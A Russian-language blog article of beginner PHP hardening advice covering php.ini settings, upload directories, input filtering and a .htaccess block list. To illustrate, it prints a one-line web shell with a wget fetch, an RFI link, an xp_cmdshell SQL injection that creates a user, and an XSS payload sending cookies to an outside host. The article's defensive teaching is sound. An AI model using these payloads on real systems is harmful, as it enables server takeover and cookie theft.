Простые рекомендации по безопасности PHP

в 9:31, , рубрики: php, sql-инъекция, безопасность, взлом, информационная безопасность, Песочница, фильтрация данных, метки: , , , ,

В данной статье приведены простые рекомендации по безопасности PHP прежде всего для начинающих программистов.

Итак, начнём.

1) register_globals = off

Это опция в php.ini, которая указывает на необходимость регистрации переменных EGPCS (Environment, GET, POST, Cookie, Server) в глобальный массив $GLOBALS.

Пример

if(isset($file))
{
	copy($file,"/images/".$file_name);
}

Этот скрипт уязвим, так как содержимым $file и $file_name можем задать любые значения, например,
определим в html

<input type=hidden name="file" value="http://www.site.com/shell.php">
<input type=hidden name="file_name" value="../shell.php">

и наш скрипт shell.php будет лежать на сервере.

Как выключить
a) в php.ini находим register_globals и ставим
register_globals = Off
(не забываем перезагрузить Apache)
б) если хостер не дает это сделать, то в файле .htaccess пишем
php_flag register_globals off

2) allow_url_fopen = off (allow_url_include = off)

Данная директива включает поддержку оберток URL (URL wrappers), которые позволяют работать с объектами URL как с обычными файлами. Значение On при определенных условиях может способствовать успешному проведению RFI атаки.
Потенциально опасными функциями являются eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function().

Пример

$file = $_GET['file'];
include ($file.'.php');

Этот скрипт уязвим — достаточно перейти по ссылке site.ru/index.php?module=mysite.ru/inc и выполнятся любые команды, заданные в нашем файле inc.php.

Как выключить
a) в php.ini находим allow_url_fopen и ставим
allow_url_fopen = Off
(также не забываем перезагрузить Apache)
б) или файле .htaccess пишем
php_flag allow_url_fopen off

allow_url_include — разрешает удаленно инклудить файлы. Выключаем аналогично.

3) Отключаем потенциально опасные функции в php

Как известно большинство php-шеллов так или иначе используют функции system, exeс, passthru, popen.

Пример

	passthru ($_GET['cmd]');

Данная конструкция, которая именутся как простой веб шелл, льется на сервер (и сама может лить другие файлы ?cmd=wget site.ru/webshell.txt -O webshell.php )

Как выключить
Деактивируем ряд ключевых php «зло» функций в php.ini
disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"

4) Задаем open_basedir

Ограничивает указанным деревом каталогов файлы, которые могут быть открыты с помощью PHP, включая сам файл.
Крайне желательно определить значение параметру open_basedir.

Как задать
a) в php.ini находим open_basedir и указываем нужную папку, например
open_basedir = "/var/www"
б) или файле .htaccess указываем нужную папку, например
php_value open_basedir "/var/www"

Теперь если загрузят шелл, то не смогут редактировать файлы, которые выше указанной папки.

5) Загрузка файла

Большое внимание уделите проверке файла при загрузке, так как очень большая часть взломов основаны на закачке шелла в каталог, доступный для записи в него файлов.

Первое, что необходимо сделать — это установить engine = off.

engine — включает или выключает интерпретатор PHP. Эта директива в действительности очень полезна в модуле Apache PHP. Она используется сайтами, которым необходимо разрешить или запретить интерпретатор PHP на основе директорий или виртуальных хостов.
Как задать
а) В файле настройки виртуальных хостов /etc/apache2/…
задаем директорию
<Directory /var/www/uploads>
php_admin_value engine off

и перезагружаем Apache
б) Добавляем файл .htaccess в каталог, предназначенный для загрузки файлов и пишем в этом файле
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp

Безопасная загрузка изображений хорошо описана в habrahabr.ru/post/44610/

6) Фильтрация пользовательских данных

Еще один пункт, который требует большого внимания. Их принцип прост, но последствия могут быть самыми страшными.

Пример

$query  = "SELECT * FROM news WHERE company LIKE '%$name%'";
$result = mssql_query($query);

Обычно $name — это название компании. Однако, взломщик может попытаться взломать систему, присоединив к URL дополнительную строку:
site.ru/company?id=a%' exec master..xp_cmdshell 'net user test testpass /ADD'
Тогда запрос будет иметь вид

$query  = "SELECT * FROM company
                    WHERE name LIKE '%a%'
                    exec master..xp_cmdshell 'net user test testpass /ADD'--";

Cервер выполняет SQL-команды в пакетном режиме, в том числе и операции по заведению локальных учетных записей базы данных. В случае, если приложение работает с привилегиями администратора sa и сервис MSSQL запущен с необходимыми привилегиями, то выполнив приведенные выше действия, взломщик получит аккаунт для доступа к серверу.

Еще пример

<input type="text" name="key" value="<?php print($_GET['key']); ?>">.

Теперь по ссылке site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.srс=«mysite/s.php» +document.cookie;</scrіpt> мы получим cookie каждого посетителя этой странички.

Методы решения.
Проверяйте входящие переменные в самом начале скрипта, не допускайте до работы с функциями и запросами к базе
данных ещё не проверенные, потенциально опасные данные от пользователей.

a) в файле .htaccess допишем
RewriteEngine On
Options +FollowSymLinks
RewriteCond %{QUERY_STRING} proc/self/environ [OR]
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*([^)]*) [OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\r|\n|%0A|%0D).* [NC,OR]
RewriteCond %{HTTP_REFERER}^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|)|%00).*(/*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]
RewriteRule ^(.*)$ up.txt
#File Injections
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(..//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
#SQL Inj
RewriteCond %{QUERY_STRING} concat[^(]*( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC]
RewriteRule .* - [F]

б) обработка пользовательских данных функцией php
code.google.com/p/markhtml/source/browse/markhtml.php

7) Чужой код

100 раз проверьте, предже чем воспользоваться сторонними продуктами.
В качестве примера может служить всеми известный phpmyadmin.
Анализ проникновения бота через эксплоит в phpmyadmin хорошо описан в habrahabr.ru/post/109974/.

Фактически любой сервер с базовыми настройками php представляет собой уязвимое место. Наша же задача сделать так, чтобы это уязвимое место было защищенным.

В следующей статье поговорим о безопасность сервера, а именно
1) SSH
2) wget curl links lyns fetch GET ftp — 750
3) Резервные копии
4) Обновление программ
5) Мониторинг
6) Расширения Linux, повышающие безопасность(mod_security, Suhosin)
7) Закрытие доступа к модулям сайта
8) Логи сервера

Автор: solve

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js